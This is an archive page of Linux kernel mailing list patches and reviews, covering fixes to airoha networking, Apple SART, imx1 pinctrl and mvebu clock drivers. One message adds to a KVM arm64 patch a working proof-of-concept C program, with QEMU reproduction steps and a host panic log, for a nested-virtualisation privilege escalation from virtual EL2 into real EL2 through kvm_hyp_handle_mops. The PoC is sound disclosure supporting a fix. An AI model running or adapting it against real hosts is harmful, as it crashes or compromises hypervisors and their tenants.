* Re: [PATCH] soc: apple: sart: require device link for consumers
From: Joshua Peisach @ 2026-06-16 11:58 UTC (permalink / raw)
To: Pengpeng Hou, Sven Peter, Janne Grunau, Neal Gompa, asahi,
linux-arm-kernel, linux-kernel
In-Reply-To: <20260616005346.7862-1-pengpeng@iscas.ac.cn>
On Mon Jun 15, 2026 at 8:53 PM EDT, Pengpeng Hou wrote:
> devm_apple_sart_get() obtains the supplier platform device and attempts
> to create a runtime-PM device link to it, but it ignores device_link_add()
> failure. A consumer can then continue without the dependency that keeps
> the SART supplier ordered and runtime-PM reachable.
>
> Treat a failed device link as an error and drop the supplier device
> reference before returning.
>
> Signed-off-by: Pengpeng Hou <pengpeng@iscas.ac.cn>
> ---
> drivers/soc/apple/sart.c | 9 +++++++--
> 1 file changed, 7 insertions(+), 2 deletions(-)
>
> diff --git a/drivers/soc/apple/sart.c b/drivers/soc/apple/sart.c
> index 9eaf3febb382..66b99955b395 100644
> --- a/drivers/soc/apple/sart.c
> +++ b/drivers/soc/apple/sart.c
> @@ -218,6 +218,7 @@ struct apple_sart *devm_apple_sart_get(struct device *dev)
> {
> struct device_node *sart_node;
> struct platform_device *sart_pdev;
> + struct device_link *link;
> struct apple_sart *sart;
>
> sart_node = of_parse_phandle(dev->of_node, "apple,sart", 0);
> @@ -236,8 +237,12 @@ struct apple_sart *devm_apple_sart_get(struct device *dev)
> return ERR_PTR(-EPROBE_DEFER);
> }
>
> - device_link_add(dev, &sart_pdev->dev,
> - DL_FLAG_PM_RUNTIME | DL_FLAG_AUTOREMOVE_SUPPLIER);
> + link = device_link_add(dev, &sart_pdev->dev,
> + DL_FLAG_PM_RUNTIME | DL_FLAG_AUTOREMOVE_SUPPLIER);
> + if (!link) {
> + put_device(&sart_pdev->dev);
> + return ERR_PTR(-ENODEV);
> + }
>
> put_device(&sart_pdev->dev);
>
I *think* this is okay...
Reviewed-by: Joshua Peisach <jpeisach@ubuntu.com>
^ permalink raw reply
* [PATCH v2] [net] net: airoha: fix foe_check_time allocation size
From: Wayen Yan @ 2026-06-16 11:52 UTC (permalink / raw)
To: netdev
Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
foe_check_time is declared as u16 pointer but was allocated with
only ppe_num_entries bytes instead of ppe_num_entries * sizeof(u16).
When airoha_ppe_foe_verify_entry() is called with hash >= ppe_num_entries/2,
it writes beyond the allocated buffer, causing heap buffer overflow and
potential kernel crash.
Fixes: 6d5b601d52a2 ("net: airoha: ppe: Dynamically allocate foe_check_time array in airoha_ppe struct")
Signed-off-by: Wayen Yan <win847@gmail.com>
---
drivers/net/ethernet/airoha/airoha_ppe.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/airoha/airoha_ppe.c b/drivers/net/ethernet/airoha/airoha_ppe.c
index 5c9dff6bcc..8fb8ecf909 100644
--- a/drivers/net/ethernet/airoha/airoha_ppe.c
+++ b/drivers/net/ethernet/airoha/airoha_ppe.c
@@ -1578,7 +1578,8 @@ int airoha_ppe_init(struct airoha_eth *eth)
return -ENOMEM;
}
- ppe->foe_check_time = devm_kzalloc(eth->dev, ppe_num_entries,
+ ppe->foe_check_time = devm_kzalloc(eth->dev,
+ ppe_num_entries * sizeof(*ppe->foe_check_time),
GFP_KERNEL);
if (!ppe->foe_check_time)
return -ENOMEM;
--
2.51.0
^ permalink raw reply related
* [PATCH v2] [net] net: airoha: Fix QoS counter configuration for Tx-fwd channels
From: Wayen Yan @ 2026-06-16 10:50 UTC (permalink / raw)
To: netdev
Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
In airoha_qdma_init_qos_stats(), the Tx-fwd counter was incorrectly
using register index (i << 1) instead of ((i << 1) + 1). This caused
the Tx-fwd configuration to overwrite the Tx-cpu configuration for
each QoS channel, resulting in incorrect QoS statistics.
Fix by using the correct register index ((i << 1) + 1) for Tx-fwd
counter configuration.
Fixes: 20bf7d07c956 ("net: airoha: Add sched ETS offload support")
Signed-off-by: Wayen Yan <win847@gmail.com>
---
drivers/net/ethernet/airoha/airoha_eth.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
index 31cdb11cd7..329988a840 100644
--- a/drivers/net/ethernet/airoha/airoha_eth.c
+++ b/drivers/net/ethernet/airoha/airoha_eth.c
@@ -1256,7 +1256,7 @@ static void airoha_qdma_init_qos_stats(struct airoha_qdma *qdma)
FIELD_PREP(CNTR_CHAN_MASK, i));
/* Tx-fwd transferred count */
airoha_qdma_wr(qdma, REG_CNTR_VAL((i << 1) + 1), 0);
- airoha_qdma_wr(qdma, REG_CNTR_CFG(i << 1),
+ airoha_qdma_wr(qdma, REG_CNTR_CFG((i << 1) + 1),
CNTR_EN_MASK | CNTR_ALL_QUEUE_EN_MASK |
CNTR_ALL_DSCP_RING_EN_MASK |
FIELD_PREP(CNTR_SRC_MASK, 1) |
--
2.51.0
^ permalink raw reply related
* Re: [PATCH] KVM: arm64: nv: Translate vEL2 PSTATE to EL1 in kvm_hyp_handle_mops()
From: Weiming Shi @ 2026-06-16 12:03 UTC (permalink / raw)
To: Marc Zyngier, Oliver Upton, Catalin Marinas, Will Deacon
Cc: Joey Gouly, Steffen Eiden, Suzuki K Poulose, Zenghui Yu,
Andrew Morton, Jakub Kicinski, Bjorn Andersson, Mark Rutland,
Kristina Martsenko, linux-arm-kernel, kvmarm, Zhong Wang,
Xuanqing Shi
In-Reply-To: <20260616114943.81188-2-bestswngs@gmail.com>
Reproduction Steps:
1. prepare arm64 kernel image
```
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- defconfig
./scripts/config -e VIRTUALIZATION -e KVM
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- olddefconfig
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -j$(nproc) Image
make ARCH=arm64 headers_install INSTALL_HDR_PATH=/tmp/khdr
```
2. prepare qemu + initramfs
3. boot qemu with the kernel iamge
```
qemu-system-aarch64 \
-machine virt,virtualization=on,gic-version=3 -cpu max -accel tcg \
-smp 2 -m 2G -kernel arch/arm64/boot/Image -initrd initramfs.cpio.gz \
-append "console=ttyAMA0 kvm-arm.mode=nested rdinit=/init panic=-1 oops=panic" \
-nographic -no-reboot
```
PoC:
```
/*
* PoC: kvm_hyp_handle_mops SPSR_EL2 privilege escalation (EL1 -> EL2)
*
* Demonstrates that kvm_hyp_handle_mops writes un-translated PSR_MODE_EL2h
* into hardware SPSR_EL2 on the fast-reentry path, allowing a nested guest
* to escape to real EL2 after an EC_MOPS trap.
*
* Build: aarch64-linux-gnu-gcc -static -O0 -o poc_mops poc_mops_clean.c
* Run: sudo ./poc_mops
*
* Expected result on vulnerable kernel: HYP panic with PS:00000009 (EL2h)
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <linux/kvm.h>
#define KVM_ARM_VCPU_HAS_EL2 7
#define PSR_MODE_EL1h 0x00000005
#define PSR_MODE_EL2h 0x00000009
#define ARM64_CORE_REG(u32_off) (0x6030000000100000ULL | (uint64_t)(u32_off))
#define REG_X(n) ARM64_CORE_REG((n) * 2)
#define REG_SP ARM64_CORE_REG(62)
#define REG_PC ARM64_CORE_REG(64)
#define REG_PSTATE ARM64_CORE_REG(66)
#define GUEST_MEM_SIZE (64 * 1024 * 1024)
#define GUEST_CODE_ADDR 0x40000000ULL
#define GUEST_STACK_TOP (GUEST_CODE_ADDR + GUEST_MEM_SIZE - 0x1000)
#define MMIO_ADDR 0x10000000ULL
static int kvm_set_one_reg(int fd, uint64_t id, uint64_t val)
{
struct kvm_one_reg r = { .id = id, .addr = (uint64_t)&val };
return ioctl(fd, KVM_SET_ONE_REG, &r);
}
static int kvm_get_one_reg(int fd, uint64_t id, uint64_t *val)
{
struct kvm_one_reg r = { .id = id, .addr = (uint64_t)val };
return ioctl(fd, KVM_GET_ONE_REG, &r);
}
static void die(const char *msg) { perror(msg); exit(1); }
/*
* Guest code (runs at virtual EL2h).
*
* Triggers EC_MOPS by executing CPYP (prologue, large size so it doesn't
* complete in prologue phase) followed immediately by CPYE (epilogue).
* The CPU detects PSTATE.MOPS_STATE mismatch and traps.
*
* kvm_hyp_handle_mops resets PC -= 8 (for epilogue) and writes vcpu_cpsr
* (which contains EL2h after fixup_guest_exit reverse translation) directly
* to HW SPSR_EL2 without forward translation. On eret, the CPU enters
* real EL2h at the guest PC, causing an instruction abort (no EL2 mapping
* for guest addresses) -> HYP panic.
*
* Layout (offsets from GUEST_CODE_ADDR):
* +0x00 setup x0,x1,x2,x3
* +0x10 movz x9, #0
* +0x14 mrs x10, CurrentEL ; record EL before
* +0x18 str x10, [x3] ; MMIO exit #1
* +0x1C b +16 ; jump to cpyp at +0x2C
* +0x20 nop
* +0x24 nop
* +0x28 mrs x11, CurrentEL ; <-- RESET LANDS HERE (0x30-8)
* +0x2C cpyp [x0]!, [x1]!, x2!
* +0x30 cpye [x0]!, [x1]!, x2! ; EC_MOPS trap
* +0x34 str x11, [x3] ; MMIO exit #2 (after 2nd pass)
* +0x38 b . ; done
*/
static const uint32_t guest_code[] = {
0xd2a80200, /* +0x00 movz x0, #0x4010, lsl #16 (dest = 0x40100000) */
0xd2a80401, /* +0x04 movz x1, #0x4020, lsl #16 (src = 0x40200000) */
0xd2a00202, /* +0x08 movz x2, #0x10, lsl #16 (size = 1MB) */
0xd2a20003, /* +0x0C movz x3, #0x1000, lsl #16 (MMIO = 0x10000000) */
0xd2800009, /* +0x10 movz x9, #0 */
0xd538424a, /* +0x14 mrs x10, CurrentEL */
0xf900006a, /* +0x18 str x10, [x3] */
0x14000004, /* +0x1C b +16 -> +0x2C */
0xd503201f, /* +0x20 nop */
0xd503201f, /* +0x24 nop */
0xd538424b, /* +0x28 mrs x11, CurrentEL (AFTER eret) */
0x1d010440, /* +0x2C cpyp [x0]!, [x1]!, x2! */
0x1d810440, /* +0x30 cpye [x0]!, [x1]!, x2! -> EC_MOPS */
0xf900006b, /* +0x34 str x11, [x3] */
0x14000000, /* +0x38 b . */
};
int main(void)
{
int kvm_fd, vm_fd, vcpu_fd, ret;
struct kvm_vcpu_init vcpu_init = {};
struct kvm_run *run;
void *guest_mem;
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf("[*] kvm_hyp_handle_mops SPSR privilege escalation PoC\n");
printf("[*] Target: Linux kernel with CONFIG_KVM_ARM_NV + FEAT_MOPS\n\n");
kvm_fd = open("/dev/kvm", O_RDWR);
if (kvm_fd < 0) die("open /dev/kvm");
vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0);
if (vm_fd < 0) die("KVM_CREATE_VM");
/* Guest memory */
guest_mem = mmap(NULL, GUEST_MEM_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (guest_mem == MAP_FAILED) die("mmap");
struct kvm_userspace_memory_region region = {
.slot = 0,
.guest_phys_addr = GUEST_CODE_ADDR,
.memory_size = GUEST_MEM_SIZE,
.userspace_addr = (uint64_t)guest_mem,
};
if (ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION, ®ion) < 0)
die("KVM_SET_USER_MEMORY_REGION");
memcpy(guest_mem, guest_code, sizeof(guest_code));
/* Create vCPU with nested virtualization */
vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0);
if (vcpu_fd < 0) die("KVM_CREATE_VCPU");
if (ioctl(vm_fd, KVM_ARM_PREFERRED_TARGET, &vcpu_init) < 0)
die("KVM_ARM_PREFERRED_TARGET");
vcpu_init.features[0] |= (1 << KVM_ARM_VCPU_HAS_EL2);
if (ioctl(vcpu_fd, KVM_ARM_VCPU_INIT, &vcpu_init) < 0) {
perror("KVM_ARM_VCPU_INIT with HAS_EL2");
printf("[-] Nested virtualization not supported.\n");
return 1;
}
printf("[+] vCPU created with nested virt (NV)\n");
/* GICv3 (required before KVM_RUN) */
{
struct kvm_create_device gic_dev = { .type = KVM_DEV_TYPE_ARM_VGIC_V3 };
if (ioctl(vm_fd, KVM_CREATE_DEVICE, &gic_dev) < 0)
die("KVM_CREATE_DEVICE GICv3");
uint64_t dist = 0x08000000ULL, redist = 0x080A0000ULL;
struct kvm_device_attr attr = {
.group = KVM_DEV_ARM_VGIC_GRP_ADDR,
.attr = KVM_VGIC_V3_ADDR_TYPE_DIST,
.addr = (uint64_t)&dist,
};
ioctl(gic_dev.fd, KVM_SET_DEVICE_ATTR, &attr);
attr.attr = KVM_VGIC_V3_ADDR_TYPE_REDIST;
attr.addr = (uint64_t)&redist;
ioctl(gic_dev.fd, KVM_SET_DEVICE_ATTR, &attr);
attr = (struct kvm_device_attr){
.group = KVM_DEV_ARM_VGIC_GRP_CTRL,
.attr = KVM_DEV_ARM_VGIC_CTRL_INIT,
};
ioctl(gic_dev.fd, KVM_SET_DEVICE_ATTR, &attr);
printf("[+] GICv3 initialized\n");
}
/* Set vCPU state: start at virtual EL2h */
kvm_set_one_reg(vcpu_fd, REG_PC, GUEST_CODE_ADDR);
kvm_set_one_reg(vcpu_fd, REG_SP, GUEST_STACK_TOP);
if (kvm_set_one_reg(vcpu_fd, REG_PSTATE, PSR_MODE_EL2h) < 0) {
printf("[!] Cannot set EL2h, falling back to EL1h\n");
kvm_set_one_reg(vcpu_fd, REG_PSTATE, PSR_MODE_EL1h);
}
printf("[+] vCPU: PC=0x%llx PSTATE=EL2h SP=0x%llx\n",
(unsigned long long)GUEST_CODE_ADDR,
(unsigned long long)GUEST_STACK_TOP);
/* Map kvm_run */
int run_size = ioctl(kvm_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
run = mmap(NULL, run_size, PROT_READ | PROT_WRITE, MAP_SHARED, vcpu_fd, 0);
if (run == MAP_FAILED) die("mmap vcpu");
/* Execute guest */
printf("\n[*] Running guest. If kernel panics -> vulnerability confirmed.\n\n");
int mmio_count = 0;
uint64_t el_before = 0, el_after = 0;
for (int i = 0; i < 100; i++) {
ret = ioctl(vcpu_fd, KVM_RUN, 0);
if (ret < 0) {
printf("[-] KVM_RUN failed: %s (errno=%d)\n", strerror(errno), errno);
break;
}
switch (run->exit_reason) {
case KVM_EXIT_MMIO:
if (run->mmio.is_write && run->mmio.phys_addr == MMIO_ADDR) {
uint64_t val = 0;
memcpy(&val, run->mmio.data, run->mmio.len);
mmio_count++;
printf("[+] MMIO #%d: CurrentEL = 0x%llx (EL%lld)\n",
mmio_count, (unsigned long long)val, (long long)(val >> 2) & 3);
if (mmio_count == 1) el_before = (val >> 2) & 3;
if (mmio_count == 2) { el_after = (val >> 2) & 3; goto results; }
}
break;
case KVM_EXIT_INTERNAL_ERROR:
printf("[!] INTERNAL_ERROR: safety assert may have caught EL2h SPSR\n");
goto done;
case KVM_EXIT_FAIL_ENTRY:
printf("[-] FAIL_ENTRY: 0x%llx\n",
(unsigned long long)run->fail_entry.hardware_entry_failure_reason);
goto done;
default:
printf("[*] exit_reason=%d (iter %d)\n", run->exit_reason, i);
break;
}
}
printf("[-] Max iterations reached without result.\n");
goto done;
results:
printf("\n========== RESULTS ==========\n");
printf(" EL before MOPS: EL%lld\n", (long long)el_before);
printf(" EL after MOPS: EL%lld\n", (long long)el_after);
printf("=============================\n\n");
if (el_after > el_before)
printf("[!!!] PRIVILEGE ESCALATION: EL%lld -> EL%lld\n",
(long long)el_before, (long long)el_after);
else
printf("[+] No escalation observed in guest registers.\n");
done:
printf("\n[*] Check dmesg for HYP panic:\n");
printf(" dmesg | grep -i 'hyp panic\\|PS:.*0009'\n");
printf("[*] If PS:00000009 appears -> SPSR contained EL2h -> vuln confirmed.\n");
close(vcpu_fd);
close(vm_fd);
close(kvm_fd);
munmap(guest_mem, GUEST_MEM_SIZE);
munmap(run, run_size);
return 0;
}
```
crash log
```
========== FatalMOPS dynamic test (L1 host) ==========
[*] CPU ID registers (FEAT_MOPS bits[19:16] of isar2; FEAT_NV bits[27:24] of mmfr2):
/sys/devices/system/cpu/cpu0/regs/identification/id_aa64isar2_el1: (absent)
/sys/devices/system/cpu/cpu0/regs/identification/id_aa64mmfr2_el1: (absent)
[+] /dev/kvm present
[*] dmesg nested-virt lines:
[*] launching /poc ...
[*] FatalMOPS PoC: kvm_hyp_handle_mops vEL2->EL2 escape
[+] vCPU created with nested virt (HAS_EL2)
[+] GICv3 initialized
[+] vCPU starts at virtual EL2h
[*] Running guest. Vulnerable kernel -> HYP panic expected.
[+] MMIO #1: CurrentEL=EL2
[ 3.326956] Kernel panic - not syncing: HYP panic:
[ 3.326956] PS:00000009 PC:0000000040000028 ESR:86000005
[ 3.326956] FAR:0000000040000028 HPFAR:0000000000402000 PAR:1de7ec7edbadc0de
[ 3.326956] VCPU:000000006f4e5727
[ 3.342728] CPU: 0 UID: 0 PID: 59 Comm: poc Not tainted 7.1.0-rc7-00217-gfbc6a80cb5d3 #1 PREEMPT
[ 3.349460] Hardware name: linux,dummy-virt (DT)
[ 3.353136] Call trace:
[ 3.355241] show_stack+0x18/0x24 (C)
[ 3.358652] dump_stack_lvl+0x34/0x8c
[ 3.361515] dump_stack+0x18/0x24
[ 3.364085] vpanic+0x47c/0x4dc
[ 3.366527] do_panic_on_target_cpu+0x0/0x1c
[ 3.369782] kvm_unexpected_el2_exception+0x0/0x3c0
[ 3.373494] hyp_panic+0x0/0x80
[ 3.375940] kvm_arm_vcpu_enter_exit+0x64/0x94
[ 3.379372] kvm_arch_vcpu_ioctl_run+0x27c/0x8f8
[ 3.382919] kvm_vcpu_ioctl+0x174/0xa38
[ 3.385894] __arm64_sys_ioctl+0xac/0x104
[ 3.389105] invoke_syscall+0x54/0x10c
[ 3.392015] el0_svc_common.constprop.0+0x40/0xe0
[ 3.395653] do_el0_svc+0x1c/0x28
[ 3.398236] el0_svc+0x38/0x11c
[ 3.400681] el0t_64_sync_handler+0xa0/0xe4
[ 3.403872] el0t_64_sync+0x198/0x19c
[ 3.407083] SMP: stopping secondary CPUs
[ 3.410661] Kernel Offset: 0x127592c00000 from 0xffff800080000000
[ 3.415585] PHYS_OFFSET: 0x40000000
[ 3.418668] CPU features: 0x00000000,0034e00b,ffeec7e1,9d7e7f3f
[ 3.423170] Memory Limit: none
```
after decode
```
Kernel panic - not syncing: HYP panic:
PS:00000009 PC:0000000040000028 ESR:86000005
FAR:0000000040000028 HPFAR:0000000000402000 PAR:1de7ec7edbadc0de
VCPU:000000006f4e5727
CPU: 0 UID: 0 PID: 59 Comm: poc Not tainted 7.1.0-rc7-00217-gfbc6a80cb5d3 #1 PREEMPT
Call trace:
show_stack (arch/arm64/kernel/stacktrace.c:499)
dump_stack_lvl (lib/dump_stack.c:94 120)
dump_stack (lib/dump_stack.c:129)
vpanic (kernel/panic.c:650)
do_panic_on_target_cpu (kernel/panic.c:341)
kvm_unexpected_el2_exception (arch/arm64/kvm/hyp/include/hyp/switch.h:964
→ arch/arm64/kvm/hyp/vhe/switch.c:688)
hyp_panic (arch/arm64/kvm/hyp/vhe/switch.c:678)
kvm_arm_vcpu_enter_exit (arch/arm64/kvm/arm.c:1227)
kvm_arch_vcpu_ioctl_run (arch/arm64/kvm/arm.c:1324)
kvm_vcpu_ioctl (virt/kvm/kvm_main.c:4470)
__arm64_sys_ioctl (fs/ioctl.c:51 597 583)
invoke_syscall (arch/arm64/kernel/syscall.c:35 49)
el0_svc_common.constprop.0 (arch/arm64/kernel/syscall.c:121)
do_el0_svc (arch/arm64/kernel/syscall.c:140)
el0_svc (arch/arm64/kernel/entry-common.c:740)
el0t_64_sync_handler (arch/arm64/kernel/entry-common.c:759)
el0t_64_sync (arch/arm64/kernel/entry.S:594)
```
^ permalink raw reply
* [PATCH v2] [net] net: airoha: Stop TX queues on error path in airoha_dev_open
From: Wayen Yan @ 2026-06-16 10:50 UTC (permalink / raw)
To: netdev
Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
In airoha_dev_open(), if airoha_set_vip_for_gdm_port() fails after
netif_tx_start_all_queues() has been called, the TX queues remain
started while the device configuration is incomplete. This leaves
the device in an inconsistent state where packets could be
transmitted before the VIP/IFC port configuration is complete.
Add netif_tx_stop_all_queues() call on the error path to properly
roll back the TX queue state.
Fixes: 23020f049327 ("net: airoha: Introduce ethernet support for EN7581 SoC")
Signed-off-by: Wayen Yan <win847@gmail.com>
---
drivers/net/ethernet/airoha/airoha_eth.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
index 31cdb11cd7..cf9c366907 100644
--- a/drivers/net/ethernet/airoha/airoha_eth.c
+++ b/drivers/net/ethernet/airoha/airoha_eth.c
@@ -1715,8 +1715,10 @@ static int airoha_dev_open(struct net_device *dev)
netif_tx_start_all_queues(dev);
err = airoha_set_vip_for_gdm_port(port, true);
- if (err)
+ if (err) {
+ netif_tx_stop_all_queues(dev);
return err;
+ }
if (netdev_uses_dsa(dev))
airoha_fe_set(qdma->eth, REG_GDM_INGRESS_CFG(port->id),
--
2.51.0
^ permalink raw reply related
* [PATCH v2] [net] net: airoha: Clean up RX queues in airoha_dev_stop
From: Wayen Yan @ 2026-06-16 10:50 UTC (permalink / raw)
To: netdev
Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
When the last port is stopped, airoha_dev_stop() clears TX queues
but neglects to clean up RX queues. This can lead to:
- RX ring buffer descriptors remaining valid after device close
- Potential DMA synchronization issues on device reopen
- Risk of use-after-free if pages are freed while DMA is still active
Add cleanup loop for RX queues to mirror the TX queue cleanup,
ensuring symmetric resource management.
Fixes: 23020f049327 ("net: airoha: Introduce ethernet support for EN7581 SoC")
Signed-off-by: Wayen Yan <win847@gmail.com>
---
drivers/net/ethernet/airoha/airoha_eth.c | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
index 31cdb11cd7..9ca5bbf64d 100644
--- a/drivers/net/ethernet/airoha/airoha_eth.c
+++ b/drivers/net/ethernet/airoha/airoha_eth.c
@@ -1771,6 +1771,13 @@ static int airoha_dev_stop(struct net_device *dev)
airoha_qdma_cleanup_tx_queue(&qdma->q_tx[i]);
}
+
+ for (i = 0; i < ARRAY_SIZE(qdma->q_rx); i++) {
+ if (!qdma->q_rx[i].ndesc)
+ continue;
+
+ airoha_qdma_cleanup_rx_queue(&qdma->q_rx[i]);
+ }
}
return 0;
--
2.51.0
^ permalink raw reply related
* [PATCH RESEND] pinctrl: imx1: fix device_node leak in dt_is_flat_functions()
From: Felix Gu @ 2026-06-16 12:14 UTC (permalink / raw)
To: Dong Aisheng, Fabio Estevam, Frank Li, Jacky Bai,
Pengutronix Kernel Team, NXP S32 Linux Team, Linus Walleij,
Sascha Hauer
Cc: linux-gpio, imx, linux-arm-kernel, linux-kernel, Felix Gu
for_each_child_of_node() holds a reference on the iterator node that
must be released on early return. imx1_pinctrl_dt_is_flat_functions()
has two early return paths inside the loop that skip this cleanup.
Replace both loops with the scoped variant so that the reference is
automatically dropped when the iterator goes out of scope.
Fixes: 63d2059cd665 ("pinctrl: imx1: Allow parsing DT without function nodes")
Signed-off-by: Felix Gu <ustc.gu@gmail.com>
---
drivers/pinctrl/freescale/pinctrl-imx1-core.c | 7 ++-----
1 file changed, 2 insertions(+), 5 deletions(-)
diff --git a/drivers/pinctrl/freescale/pinctrl-imx1-core.c b/drivers/pinctrl/freescale/pinctrl-imx1-core.c
index b7bd4ef9c0db..4a6bdaefa42f 100644
--- a/drivers/pinctrl/freescale/pinctrl-imx1-core.c
+++ b/drivers/pinctrl/freescale/pinctrl-imx1-core.c
@@ -547,14 +547,11 @@ static int imx1_pinctrl_parse_functions(struct device_node *np,
*/
static bool imx1_pinctrl_dt_is_flat_functions(struct device_node *np)
{
- struct device_node *function_np;
- struct device_node *pinctrl_np;
-
- for_each_child_of_node(np, function_np) {
+ for_each_child_of_node_scoped(np, function_np) {
if (of_property_present(function_np, "fsl,pins"))
return true;
- for_each_child_of_node(function_np, pinctrl_np) {
+ for_each_child_of_node_scoped(function_np, pinctrl_np) {
if (of_property_present(pinctrl_np, "fsl,pins"))
return false;
}
---
base-commit: c1ecb239fa3456529a32255359fc78b69eb9d847
change-id: 20260523-pinctrl-imx-b198f8391abf
Best regards,
--
Felix Gu <ustc.gu@gmail.com>
--
Felix Gu <ustc.gu@gmail.com>
^ permalink raw reply related
* [PATCH v2] clk: mvebu: ap-cpu: fix missing clk_put() in ap_cpu_clock_probe()
From: Wentao Liang @ 2026-06-16 12:29 UTC (permalink / raw)
To: andrew, gregory.clement, sebastian.hesselbarth, mturquette, sboyd
Cc: bmasney, linux-arm-kernel, linux-clk, linux-kernel, Wentao Liang
The function ap_cpu_clock_probe() calls of_clk_get() to obtain a
reference to the parent clock for each CPU cluster, but it never
releases it with clk_put(). The returned clk is used only to read
the parent's name via __clk_get_name(), and the reference is leaked
on every successful cluster initialization as well as on the error
path when devm_clk_hw_register() fails.
Rather than adding clk_put() calls, replace the of_clk_get() +
__clk_get_name() pattern with of_clk_get_parent_name(), which is
the intended API for this use case and handles the reference
counting internally. This matches the pattern already used by the
sibling drivers clk-cpu.c and clk-corediv.c.
Fixes: af9617b419f7 ("clk: mvebu: ap-cpu-clk: Fix a memory leak in error handling paths")
Signed-off-by: Wentao Liang <vulab@iscas.ac.cn>
---
v2: Replace of_clk_get() + __clk_get_name() with of_clk_get_parent_name()
as suggested by Brian Masney, instead of adding clk_put() calls.
Also correct the Fixes: tag to point to the original commit that
introduced the leak.
---
drivers/clk/mvebu/ap-cpu-clk.c | 10 +++-------
1 file changed, 3 insertions(+), 7 deletions(-)
diff --git a/drivers/clk/mvebu/ap-cpu-clk.c b/drivers/clk/mvebu/ap-cpu-clk.c
index a8175908e353..1cf63c7a0bc3 100644
--- a/drivers/clk/mvebu/ap-cpu-clk.c
+++ b/drivers/clk/mvebu/ap-cpu-clk.c
@@ -288,7 +288,6 @@ static int ap_cpu_clock_probe(struct platform_device *pdev)
char *clk_name = "cpu-cluster-0";
struct clk_init_data init;
const char *parent_name;
- struct clk *parent;
u64 cpu;
cpu = of_get_cpu_hwid(dn, 0);
@@ -304,13 +303,12 @@ static int ap_cpu_clock_probe(struct platform_device *pdev)
if (ap_cpu_data->hws[cluster_index])
continue;
- parent = of_clk_get(np, cluster_index);
- if (IS_ERR(parent)) {
- dev_err(dev, "Could not get the clock parent\n");
+ parent_name = of_clk_get_parent_name(np, cluster_index);
+ if (!parent_name) {
+ dev_err(dev, "Could not get the clock parent name\n");
of_node_put(dn);
return -EINVAL;
}
- parent_name = __clk_get_name(parent);
clk_name[12] += cluster_index;
ap_cpu_clk[cluster_index].clk_name =
ap_cp_unique_name(dev, np->parent, clk_name);
@@ -328,11 +326,9 @@ static int ap_cpu_clock_probe(struct platform_device *pdev)
ret = devm_clk_hw_register(dev, &ap_cpu_clk[cluster_index].hw);
if (ret) {
of_node_put(dn);
- clk_put(parent);
return ret;
}
ap_cpu_data->hws[cluster_index] = &ap_cpu_clk[cluster_index].hw;
- clk_put(parent);
}
ap_cpu_data->num = cluster_index + 1;
--
2.34.1
^ permalink raw reply related
* Re: [PATCH v2] [net] net: airoha: fix foe_check_time allocation size
From: Lorenzo Bianconi @ 2026-06-16 12:34 UTC (permalink / raw)
To: Wayen Yan
Cc: netdev, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
In-Reply-To: <178161119471.2163752.14373384830691569758@gmail.com>
[-- Attachment #1: Type: text/plain, Size: 1276 bytes --]
> foe_check_time is declared as u16 pointer but was allocated with
> only ppe_num_entries bytes instead of ppe_num_entries * sizeof(u16).
>
> When airoha_ppe_foe_verify_entry() is called with hash >= ppe_num_entries/2,
> it writes beyond the allocated buffer, causing heap buffer overflow and
> potential kernel crash.
>
> Fixes: 6d5b601d52a2 ("net: airoha: ppe: Dynamically allocate foe_check_time array in airoha_ppe struct")
> Signed-off-by: Wayen Yan <win847@gmail.com>
Acked-by: Lorenzo Bianconi <lorenzo@kernel.org>
> ---
> drivers/net/ethernet/airoha/airoha_ppe.c | 3 ++-
> 1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/drivers/net/ethernet/airoha/airoha_ppe.c b/drivers/net/ethernet/airoha/airoha_ppe.c
> index 5c9dff6bcc..8fb8ecf909 100644
> --- a/drivers/net/ethernet/airoha/airoha_ppe.c
> +++ b/drivers/net/ethernet/airoha/airoha_ppe.c
> @@ -1578,7 +1578,8 @@ int airoha_ppe_init(struct airoha_eth *eth)
> return -ENOMEM;
> }
>
> - ppe->foe_check_time = devm_kzalloc(eth->dev, ppe_num_entries,
> + ppe->foe_check_time = devm_kzalloc(eth->dev,
> + ppe_num_entries * sizeof(*ppe->foe_check_time),
> GFP_KERNEL);
> if (!ppe->foe_check_time)
> return -ENOMEM;
> --
> 2.51.0
>
>
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]
^ permalink raw reply
* Re: [PATCH v2] [net] net: airoha: Fix QoS counter configuration for Tx-fwd channels
